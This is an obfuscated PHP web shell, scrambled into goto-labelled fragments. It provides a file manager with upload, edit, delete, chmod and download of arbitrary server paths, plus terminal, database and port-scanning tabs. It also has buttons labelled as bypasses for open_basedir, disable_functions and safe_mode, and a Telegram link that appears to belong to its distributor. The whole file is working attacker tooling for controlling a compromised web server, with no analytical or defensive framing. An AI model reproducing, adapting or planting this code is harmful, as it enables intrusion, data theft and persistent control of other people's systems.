echo "</span>\r\n                    </div>\r\n                </div>\r\n                \r\n                <div class=\"info-card\">\r\n                    <h3>?? PHP Configuration</h3>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">PHP Version</span>\r\n                        <span class=\"info-value\">";
goto kLZBv;
Ia0Gv:
@readfile($KCz4A);
goto dahlg;
QMEWF:
echo "\" onclick=\"switchTab('info')\">\r\n                <span class=\"tab-icon\">??</span> System Info\r\n            </div>\r\n            <div class=\"tab ";
goto trnVN;
BKvF2:
BJFDs:
goto xX9es;
kVp1E:
echo htmlspecialchars($X18FW["os"]);
goto vVDg6;
qJv1m:
iNb1o:
goto hLKcC;
AKOlZ:
$Cbzx0 = "network";
goto D8TQd;
xw0fk:
$Z5f2E[] = $X4FoP;
goto LslcN;
Ae3oR:
$TA_Db = $svxzY . basename($_FILES["upload"]["name"]);
goto IfaYn;
oVOxo:
$ufbK4 = '';
goto gXlMB;
f0kVv:
echo "                    \r\n                    ";
goto Q2yRs;
RdZm9:
if (!($PEOfb === "download" && isset($_GET["item"]))) {
    goto zwMTp;
}
goto TJ2AH;
NOxwo:
$X4FoP = $Gok1_;
goto bn3kg;
njtMQ:
echo htmlspecialchars($X18FW["safe_mode"]);
goto jfblu;
mEF9f:
echo "</textarea>\r\n                    <div style=\"margin-top: 15px; display: flex; gap: 10px;\">\r\n                        <button type=\"submit\" class=\"btn btn-success\">Save Changes</button>\r\n                        <a href=\"?tab=filemanager&p=";
goto zFv9w;
hegrA:
goto UTlpx;
goto NmZwy;
jMFIT:
echo $Cbzx0 === "bypass" ? "active" : '';
goto zDrUc;
y_Lpj:
@ob_clean();
goto Q82sU;
TR9CM:
$t3j1o = array("type" => "error", "text" => "No open ports found");
goto akhg1;
dvVYf:
function aWAhM()
{
    goto Fj7iO;
    TJIRL:
    RuiSu:
    goto ZVMCq;
    ZVMCq:
    if (!@is_dir($LKTbR = @realpath($oNNh7))) {
        goto ZpwUp;
    }
    goto R3Mfv;
    jZYsP:
    mTmK3:
    goto bD2XC;
    YBs1r:
    ZpwUp:
    goto HWy6b;
    R3Mfv:
    return $LKTbR . "/";
    goto YBs1r;
    IOgEi:
    return $oNNh7;
    goto TJIRL;
    iVp51:
    apJTC:
    goto c2EqW;
    lskz5:
    foreach ($oarMp as $Dkuor) {
        goto BMuG3;
        uz1cv:
        if (!($HSnn2 && @is_dir($HSnn2))) {
            goto gStID;
        }
        goto cR3Kd;
        vawBj:
        goto apJTC;
        goto hUa4Y;
        JcVrq:
        HazoV:
        goto qP4sB;
        hUa4Y:
        gStID:
        goto JcVrq;
        cR3Kd:
        $oNNh7 = $HSnn2;
        goto vawBj;
        BMuG3:
        $HSnn2 = $Dkuor();
        goto uz1cv;
        qP4sB:
    }
    goto iVp51;
    c2EqW:
    if (!empty($oNNh7)) {
        goto mTmK3;
    }
    goto odE34;
    HIcj_:
    $oarMp = array(function () {
        return @getcwd();
    }, function () {
        return @dirname($_SERVER["SCRIPT_FILENAME"]);
    }, function () {
        return @$_SERVER["DOCUMENT_ROOT"];
    }, function () {
        return @dirname(__FILE__);
    }, function () {
        return @realpath(".");
    });
    goto lskz5;
    vQcNH:
    $oNNh7 = str_replace(array("\\", "//"), "/", $oNNh7);
    goto lMnv_;
    odE34:
    $oNNh7 = ".";
    goto jZYsP;
    Fj7iO:
    $oNNh7 = isset($_REQUEST["p"]) ? $_REQUEST["p"] : (isset($_COOKIE["last_path"]) ? $_COOKIE["last_path"] : '');
    goto dD_3T;
    HWy6b:
    return "./";
    goto eOf2C;
    bD2XC:
    HDJaC:
    goto vQcNH;
    dD_3T:
    if (!empty($oNNh7)) {
        goto HDJaC;
    }
    goto HIcj_;
    FRZqw:
    if (!@is_dir($oNNh7)) {
        goto RuiSu;
    }
    goto IOgEi;
    lMnv_:
    $oNNh7 = rtrim($oNNh7, "/") . "/";
    goto qWlWo;
    qWlWo:
    @setcookie("last_path", $oNNh7, time() + 86400);
    goto FRZqw;
    eOf2C:
}
goto AOZsX;
sRt2O:
if (!(isset($_POST["scan_host"]) && isset($_POST["scan_port_start"]) && isset($_POST["scan_port_end"]))) {
    goto j3N8q;
}
goto qZ7RQ;
w1VBO:
$t3j1o = '';
goto sPHdk;
Ot_K_:
echo htmlspecialchars($X18FW["disk_percent"]);
goto Ett1b;
rsczH:
echo $Cbzx0 === "network" ? "active" : '';
goto YQ1PJ;
zaaDx:
function x5Z36($oNNh7)
{
    goto Tg291;
    wklmo:
    @chmod($oNNh7, 0777);
    goto GlA0J;
    gvIlE:
    xpghE:
    goto Wk7xt;
    Wk7xt:
    return false;
    goto SAWDh;
    YcKGq:
    HfefO:
    goto XBJT_;
    XBJT_:
    return @rmdir($oNNh7);
    goto gvIlE;
    luyRr:
    goto xpghE;
    goto p5IR9;
    W_sVh:
    goto xpghE;
    goto nRynl;
    Tg291:
    if (@is_file($oNNh7)) {
        goto ZVu21;
    }
    goto IzOM7;
    qUUPx:
    foreach ($j22Dd as $UI0VR) {
        x5Z36($oNNh7 . "/" . $UI0VR);
        WtxOV:
    }
    goto YcKGq;
    p5IR9:
    zO1nX:
    goto ig6DL;
    IzOM7:
    if (@is_dir($oNNh7)) {
        goto zO1nX;
    }
    goto W_sVh;
    nRynl:
    ZVu21:
    goto wklmo;
    ig6DL:
    $j22Dd = TDU5b($oNNh7);
    goto qUUPx;
    GlA0J:
    return @unlink($oNNh7);
    goto luyRr;
    SAWDh:
}
goto yZnjk;
PYZp9:
$pYbXh = tdu5b($svxzY);
goto UTIWE;
B_kYr:
echo htmlspecialchars($X18FW["upload_max_filesize"]);
goto AiGV9;
v6tAW:
echo "</span>\r\n                <span><strong>Server:</strong> ";
goto FVBaC;
XYknW:
$UlLNU = '';
goto oVOxo;
pkLNe:
Y3Cck:
goto FIiHl;
wTbrR:
echo "        <div class=\"notification ";
goto ikXp8;
fx82X:
echo "\" class=\"btn btn-danger\" style=\"text-decoration: none; display: inline-flex; align-items: center;\">Cancel</a>\r\n                    </div>\r\n                </form>\r\n            </div>\r\n            ";
goto BIriM;
hPO0N:
if ($vk87G == "safe_mode") {
    goto KfbgM;
}
goto boV7G;
MdXjJ:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Safe Mode</span>\r\n                        <span class=\"info-value\">";
goto njtMQ;
MkXr9:
$t3j1o = array("type" => "success", "text" => "Renamed successfully");
goto S_v11;
kdWH4:
$OjVia = $svxzY . $_POST["newname"];
goto ldGf0;
R8X53:
$h2qYY = array("exec" => array("system", "exec", "shell_exec", "passthru", "popen", "proc_open", "pcntl_exec"), "eval" => array("eval", "assert", "create_function", "preg_replace", "call_user_func"), "read" => array("file_get_contents", "file", "readfile", "fopen", "fread", "fgets"), "write" => array("file_put_contents", "fwrite", "fputs"));
goto fffEt;
S_v11:
dZ_L6:
goto wU0Dt;
Jrx3y:
h4vfd:
goto PEn1e;
TJ2AH:
$KCz4A = $svxzY . $_GET["item"];
goto lKXXW;
Z3EvV:
echo htmlspecialchars($X18FW["os"]);
goto Kn3m3;
UNtVd:
echo "\" onclick=\"switchTab('database')\">\r\n                <span class=\"tab-icon\">???</span> Database\r\n            </div>\r\n            <div class=\"tab ";
goto rsczH;
tyStt:
echo htmlspecialchars($X18FW["mysql"]);
goto N1JhJ;
c8gqV:
if ($h6C7W && @dWYBJ($RFUtt, $h6C7W)) {
    goto UFJ5T;
}
goto ViPux;
cG3a7:
goto p2NJi;
goto yuPWx;
hmX93:
$vk87G = $_GET["bypass"];
goto j8t4F;
E5_E2:
if (!isset($_POST["newfolder"])) {
    goto QJ6vV;
}
goto On3yU;
WcXYf:
hbHTw:
goto MdXMk;
xq1vg:
echo "</span>\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n        \r\n        <!-- Database Tab -->\r\n        <div class=\"tab-content ";
goto VNAgt;
wa1_6:
$t3j1o = array("type" => "error", "text" => "MySQL functions not available");
goto hegrA;
I3jzg:
$t3j1o = array("type" => "success", "text" => "Open ports: " . implode(", ", $Z5f2E));
goto pATK3;
EgtA1:
echo "</span>\r\n                <span><strong>IP:</strong> ";
goto JAKSM;
Vc1JS:
$WklJe = $svxzY . $_POST["save"];
goto iLLUZ;
FIiHl:
$h6C7W = @l2rVP($nSji4, $j03GL, $KnjV2);
goto c8gqV;
bC3xO:
echo "\">\r\n                                <span class=\"file-icon\">??</span> Parent Directory\r\n                            </a>\r\n                        </td>\r\n                    </tr>\r\n                    ";
goto Vk4YQ;
IfaYn:
if (@move_uploaded_file($_FILES["upload"]["tmp_name"], $TA_Db)) {
    goto rsHad;
}
goto KnYuL;
ZhHnW:
$Cbzx0 = "terminal";
goto IdG5w;
cbcHc:
if ($vk87G == "disable_functions") {
    goto PgAM6;
}
goto hPO0N;
NRhOa:
$PEOfb = $_GET["do"];
goto aNV1D;
q0gjj:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Max Execution Time</span>\r\n                        <span class=\"info-value\">";
goto nhYkC;
yuPWx:
DwORX:
goto DHgB0;
KumRf:
echo "\" placeholder=\"Enter path...\">\r\n                <button type=\"submit\" class=\"btn\">Navigate</button>\r\n            </form>\r\n            \r\n            <div class=\"tools\">\r\n                <form method=\"post\" enctype=\"multipart/form-data\" class=\"tool-group\">\r\n                    <label>Upload:</label>\r\n                    <input type=\"file\" name=\"upload\" required>\r\n                    <button type=\"submit\" class=\"btn btn-small btn-success\">Upload</button>\r\n                </form>\r\n                \r\n                <div class=\"tool-group\">\r\n                    <button onclick=\"showNewFileModal()\" class=\"btn btn-small\">New File</button>\r\n                    <button onclick=\"showNewFolderModal()\" class=\"btn btn-small\">New Folder</button>\r\n                </div>\r\n            </div>\r\n            \r\n            ";
goto oigeZ;
hGQgu:
d1EQV:
goto b42Yw;
haZag:
LZCyK:
goto cn6dx;
FVBaC:
echo htmlspecialchars($X18FW["server"]);
goto ep3_C;
NB1c6:
if (!(isset($_POST["newfile"]) && isset($_POST["filecontent"]))) {
    goto h4Jb0;
}
goto Vnad_;
GIARz:
goto Pcqs6;
goto MHpKk;
vA1wH:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Server Software</span>\r\n                        <span class=\"info-value\">";
goto mlw1l;
xzJs_:
RW1D0:
goto ZhSmB;
dcHDe:
$j03GL = $_POST["db_user"];
goto vjwj0;
OBrvb:
goto RfQAK;
goto xzJs_;
Ett1b:
echo "\"></div>\r\n                    </div>\r\n                </div>\r\n                \r\n                <div class=\"info-card\">\r\n                    <h3>?? PHP Limits</h3>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Memory Limit</span>\r\n                        <span class=\"info-value\">";
goto FKcaq;
DHiOp:
echo "</span>\r\n                    </div>\r\n                    <div class=\"progress-bar\">\r\n                        <div class=\"progress-fill\" style=\"width: ";
goto Ot_K_;
PEn1e:
echo "        \r\n        <div class=\"tabs\">\r\n            <div class=\"tab ";
goto SfKI3;
npyRw:
p2NJi:
goto WcXYf;
MINY0:
echo $Cbzx0 === "info" ? "active" : '';
goto QMEWF;
LslcN:
@fclose($dckxu);
goto V6SyU;
TzYfe:
$X18FW = XJoTy();
goto K7RBx;
y37vq:
echo htmlspecialchars($X18FW["allow_url_include"]);
goto xq1vg;
Qz7Ix:
function tDU5B($kwqhM)
{
    goto XfF9P;
    WiAb9:
    goto Zr_UH;
    goto leLJb;
    PHd5Z:
    if (function_exists("scandir")) {
        goto GQ6pt;
    }
    goto t2ai0;
    QVWQs:
    goto JqRFV;
    goto CUPyn;
    CUPyn:
    NgktF:
    goto s1vjB;
    OIImB:
    Em0F9:
    goto z94SU;
    PqcyD:
    goto Zr_UH;
    goto OIImB;
    RKOEv:
    GQ6pt:
    goto fnST_;
    fnST_:
    $j22Dd = @scandir($kwqhM);
    goto WiAb9;
    ZOBaW:
    if (!(false !== ($UI0VR = @readdir($NR7w3)))) {
        goto NgktF;
    }
    goto csqN8;
    oRYvb:
    Zr_UH:
    goto YU1a5;
    So1Hx:
    goto Zr_UH;
    goto RKOEv;
    leLJb:
    Ecn1F:
    goto qVk5z;
    qVk5z:
    JqRFV:
    goto ZOBaW;
    t2ai0:
    if ($NR7w3 = @opendir($kwqhM)) {
        goto Ecn1F;
    }
    goto hrCMg;
    XfF9P:
    $j22Dd = array();
    goto PHd5Z;
    hrCMg:
    if (function_exists("glob")) {
        goto Em0F9;
    }
    goto So1Hx;
    s1vjB:
    @closedir($NR7w3);
    goto PqcyD;
    z94SU:
    $j22Dd = array_map("basename", @glob($kwqhM . "*"));
    goto oRYvb;
    csqN8:
    $j22Dd[] = $UI0VR;
    goto QVWQs;
    YU1a5:
    return array_diff($j22Dd, array(".", "..", ''));
    goto wUtBy;
    wUtBy:
}
goto zaaDx;
VnBg_:
goto JC9Iw;
goto mWMm7;
IdG5w:
hD22w:
goto VUYYW;
hLKcC:
UTlpx:
goto NLdR4;
H5oSJ:
$UlLNU = $_GET["item"];
goto hnUNa;
plrBK:
if (!(isset($_POST["oldname"]) && isset($_POST["newname"]))) {
    goto LgtqE;
}
goto hXveV;
rhZh5:
if (!(isset($_POST["save"]) && isset($_POST["content"]))) {
    goto grdrP;
}
goto Vc1JS;
HKIpQ:
$mzcbo = true;
goto H5oSJ;
SfKI3:
echo $Cbzx0 === "filemanager" ? "active" : '';
goto IUAN5;
a35PU:
echo "<tr class=\"separator-row\"><td colspan=\"6\">?? Folders</td></tr>";
goto zDNHY;
WkTqa:
$t3j1o = array("type" => "error", "text" => "Upload failed");
goto Khtwc;
KXWH7:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Free Space</span>\r\n                        <span class=\"info-value\">";
goto lCi0K;
cPXIw:
$qhpH_ = octdec($_POST["chmod_value"]);
goto Pngll;
fX2qf:
echo urlencode(dirname($svxzY));
goto bC3xO;
CqAVH:
sF_FM:
goto I3jzg;
Wy4q3:
@error_reporting(0);
goto Lpa38;
r34FQ:
$svxzY = AWAhm();
goto w1VBO;
hDBeP:
echo "\" id=\"bypass\">\r\n            <h3 style=\"margin-bottom: 20px; color: #58a6ff;\">Security Bypass</h3>\r\n            <div class=\"tools\">\r\n                <a href=\"?tab=bypass&bypass=open_basedir\" class=\"btn btn-warning\">Bypass open_basedir</a>\r\n                <a href=\"?tab=bypass&bypass=disable_functions\" class=\"btn btn-warning\">Bypass disable_functions</a>\r\n                <a href=\"?tab=bypass&bypass=safe_mode\" class=\"btn btn-warning\">Bypass safe_mode</a>\r\n            </div>\r\n        </div>\r\n    </div>\r\n    \r\n    <!-- TELEGRAM BUTTON -->\r\n    <a href=\"https://t.me/bdxroot3\" target=\"_blank\" class=\"telegram-btn\">\r\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n            <path d=\"M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z\"></path>\r\n        </svg>\r\n        <span>Telegram</span>\r\n    </a>\r\n    \r\n    <!-- New File Modal -->\r\n    <div id=\"newFileModal\" class=\"modal\">\r\n        <div class=\"modal-content\">\r\n            <div class=\"modal-header\">Create New File</div>\r\n            <form method=\"post\">\r\n                <div class=\"modal-body\">\r\n                    <input type=\"text\" name=\"newfile\" placeholder=\"Filename (e.g., index.php)\" required>\r\n                    <textarea name=\"filecontent\" placeholder=\"File content (optional)\"></textarea>\r\n                </div>\r\n                <div class=\"modal-footer\">\r\n                    <button type=\"submit\" class=\"btn btn-success\">Create</button>\r\n                    <button type=\"button\" class=\"btn btn-danger\" onclick=\"closeModal('newFileModal')\">Cancel</button>\r\n                </div>\r\n            </form>\r\n        </div>\r\n    </div>\r\n    \r\n    <!-- New Folder Modal -->\r\n    <div id=\"newFolderModal\" class=\"modal\">\r\n        <div class=\"modal-content\">\r\n            <div class=\"modal-header\">Create New Folder</div>\r\n            <form method=\"post\">\r\n                <div class=\"modal-body\">\r\n                    <input type=\"text\" name=\"newfolder\" placeholder=\"Folder name\" required>\r\n                </div>\r\n                <div class=\"modal-footer\">\r\n                    <button type=\"submit\" class=\"btn btn-success\">Create</button>\r\n                    <button type=\"button\" class=\"btn btn-danger\" onclick=\"closeModal('newFolderModal')\">Cancel</button>\r\n                </div>\r\n            </form>\r\n        </div>\r\n    </div>\r\n    \r\n    <script>\r\n        // Tab switching\r\n        function switchTab(tabName) {\r\n            // Hide all tabs\r\n            document.querySelectorAll('.tab-content').forEach(tab => {\r\n                tab.classList.remove('active');\r\n            });\r\n            \r\n            // Remove active class from all tab buttons\r\n            document.querySelectorAll('.tab').forEach(tab => {\r\n                tab.classList.remove('active');\r\n            });\r\n            \r\n            // Show selected tab\r\n            document.getElementById(tabName).classList.add('active');\r\n            \r\n            // Add active class to selected tab button\r\n            document.querySelector(`.tab:nth-child(\${getTabIndex(tabName)})`).classList.add('active');\r\n        }\r\n        \r\n        function getTabIndex(tabName) {\r\n            const tabs = ['filemanager', 'terminal', 'info', 'database', 'network', 'bypass'];\r\n            return tabs.indexOf(tabName) + 1;\r\n        }\r\n        \r\n        // Modal functions\r\n        function showNewFileModal() {\r\n            document.getElementById('newFileModal').classList.add('active');\r\n        }\r\n        \r\n        function showNewFolderModal() {\r\n            document.getElementById('newFolderModal').classList.add('active');\r\n        }\r\n        \r\n        function closeModal(id) {\r\n            document.getElementById(id).classList.remove('active');\r\n        }\r\n        \r\n        // Rename function\r\n        function renameItem(oldName) {\r\n            var newName = prompt('Enter new name:', oldName);\r\n            if(newName && newName !== oldName) {\r\n                var form = document.createElement('form');\r\n                form.method = 'post';\r\n                form.innerHTML = '<input type=\"hidden\" name=\"oldname\" value=\"' + oldName + '\">' +\r\n                               '<input type=\"hidden\" name=\"newname\" value=\"' + newName + '\">';\r\n                document.body.appendChild(form);\r\n                form.submit();\r\n            }\r\n        }\r\n        \r\n        // Chmod function\r\n        function chmodItem(item) {\r\n            var mode = prompt('Enter new permissions (e.g., 755):', '755');\r\n            if(mode) {\r\n                var form = document.createElement('form');\r\n                form.method = 'post';\r\n                form.innerHTML = '<input type=\"hidden\" name=\"chmod_item\" value=\"' + item + '\">' +\r\n                               '<input type=\"hidden\" name=\"chmod_value\" value=\"' + mode + '\">';\r\n                document.body.appendChild(form);\r\n                form.submit();\r\n            }\r\n        }\r\n        \r\n        // Auto-hide notifications\r\n        setTimeout(function() {\r\n            var notifications = document.querySelectorAll('.notification');\r\n            notifications.forEach(function(n) {\r\n                n.style.opacity = '0';\r\n                setTimeout(function() { n.style.display = 'none'; }, 300);\r\n            });\r\n        }, 3000);\r\n        \r\n        // Keyboard shortcuts\r\n        document.addEventListener('keydown', function(e) {\r\n            if(e.ctrlKey && e.key === 'n') {\r\n                e.preventDefault();\r\n                showNewFileModal();\r\n            }\r\n            if(e.ctrlKey && e.shiftKey && e.key === 'N') {\r\n                e.preventDefault();\r\n                showNewFolderModal();\r\n            }\r\n            if(e.key === 'Escape') {\r\n                document.querySelectorAll('.modal.active').forEach(function(m) {\r\n                    m.classList.remove('active');\r\n                });\r\n            }\r\n        });\r\n        \r\n        // Click outside modal to close\r\n        document.querySelectorAll('.modal').forEach(function(modal) {\r\n            modal.addEventListener('click', function(e) {\r\n                if(e.target === modal) {\r\n                    modal.classList.remove('active');\r\n                }\r\n            });\r\n        });\r\n    </script>\r\n</body>\r\n</html>";